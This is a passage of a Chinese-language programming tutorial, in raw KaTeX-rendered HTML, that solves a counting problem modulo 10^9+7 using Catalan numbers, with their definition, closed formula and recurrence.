xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>6</td><td>5</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><p>這題很顯然是在考卡特蘭數</p><h2 id="%E5%8D%A1%E7%89%B9%E8%98%AD%E6%95%B8" tabindex="-1" id="卡特蘭數">卡特蘭數</h2><h3 id="%E5%AE%9A%E7%BE%A9" tabindex="-1" id="定義">定義</h3><p>卡特蘭數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">C_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示有A, B各<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>個，A永不落後B的排列方法數。組合學上有很多問題都跟卡特蘭數有關。</p><h3 id="%E5%85%AC%E5%BC%8F" tabindex="-1" id="公式">公式</h3><p>我們可以將卡特蘭數問題轉換成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>×</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">n\times n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>網格上，從左下到右上角的路徑方法數，最終可推得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>n</mi></msub><mo>=</mo><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo fence="true">)</mo></mrow><mo>−</mo><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo fence="true">)</mo></mrow><mo separator="true">,</mo><mi>n</mi><mo>≥</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">C_n = \binom{2n}{n}-\binom{2n}{n+1} = \frac{1}{n+1}\binom{2n}{n}, n\geq 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>(網路上有很多教學，在此就不贅述了，反正推過你最後還是得把結果記起來)</p><h3 id="%E9%81%9E%E8%BF%B4" tabindex="-1" id="遞迴">遞迴</h3><p>卡特蘭數的遞迴式如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.36em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><msub><mi>C</mi><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><msub><mi>C</mi><mn>0</mn></msub><msub><mi>C</mi><mi>n</mi></msub><mo>+</mo><msub><mi>C</mi><mn>1</mn></msub><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>+</mo><mo>⋯</mo><mo>+</mo><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><msub><mi>C</mi><mn>1</mn></msub><mo>+</mo><msub><mi>C</mi><mi>n</mi></msub><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mi>n</mi></msubsup><msub><mi>C</mi><mi>i</mi></msub><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mi>i</mi></mrow></msub><mo separator="true">,</mo><mi>n</mi><mo>≥</mo><mn>0</mn></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\begin{cases}C_0=1\\C_{n+1}=C_0C_n+C_1C_{n-1}+\cdots+C_{n-1}C_1+C_nC_0=\sum\limits_{i=0}^{n}C_{i}C_{n-i}, n\geq 0\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.7691em;vertical-align:-1.6345em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-2.5em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.492em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.016em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.016em" style="width:0.8889em" viewBox="0 0 888.89 16" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V16 H384z M384 0 H504 V16 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.016em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.016em" style="width:0.8889em" viewBox="0 0 888.89 16" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V16 H384z M384 0 H504 V16 H384z"/></svg></span></span><span style="top:-4.3em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.1345em;"><span style="top:-4.4779em;"><span class="pstrut" style="height:3.3514em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-2.6945em;"><span class="pstrut" style="height:3.3514em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3514em;"><span style="top:-2.1223em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop op-symbol small-op">∑</span></span></span><span style="top:-3.95em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.6345em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><h2 id="%E5%8E%9F%E9%A1%8C%E5%88%86%E6%9E%90" tabindex="-1" id="原題分析">原題分析</h2><p>顯然<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>為奇數時答案為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>為偶數時所求即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mfrac><mi>n</mi><mn>2</mn></mfrac></msub></mrow><annotation encoding="application/x-tex">C_{\frac{n}{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0741em;vertical-align:-0.3908em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3341em;"><span style="top:-2.85em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6915em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3908em;"><span></span></span></span></span></span></span></span></span></span>。<br>接著我們只需想辦法算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mtext> </mtext><mrow><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mo stretchy="false">(</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow></mrow><annotation encoding="application/x-tex">C_k~\rm{mod}~(10^9+7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace nobreak"> </span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace nobreak"> </span><span class="mopen">(</span><span class="mord mathrm">1</span><span class="mord"><span class="mord mathrm">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathrm mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathrm">7</span><span class="mclose">)</span></span></span></span></span>即可。而</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mfrac><mn>1</mn><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>k</mi></mrow><mi>k</mi></mfrac><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mo>⋅</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><mrow><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>3</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><mrow><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">C_k=\frac{1}{k+1}\binom{2k}{k}=\frac{1}{k+1}\cdot\frac{(k+1)(k+2)\cdots 2k}{1\cdot 2\cdots k}=\frac{(k+2)(k+3)\cdots 2k}{1\cdot 2\cdots k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" 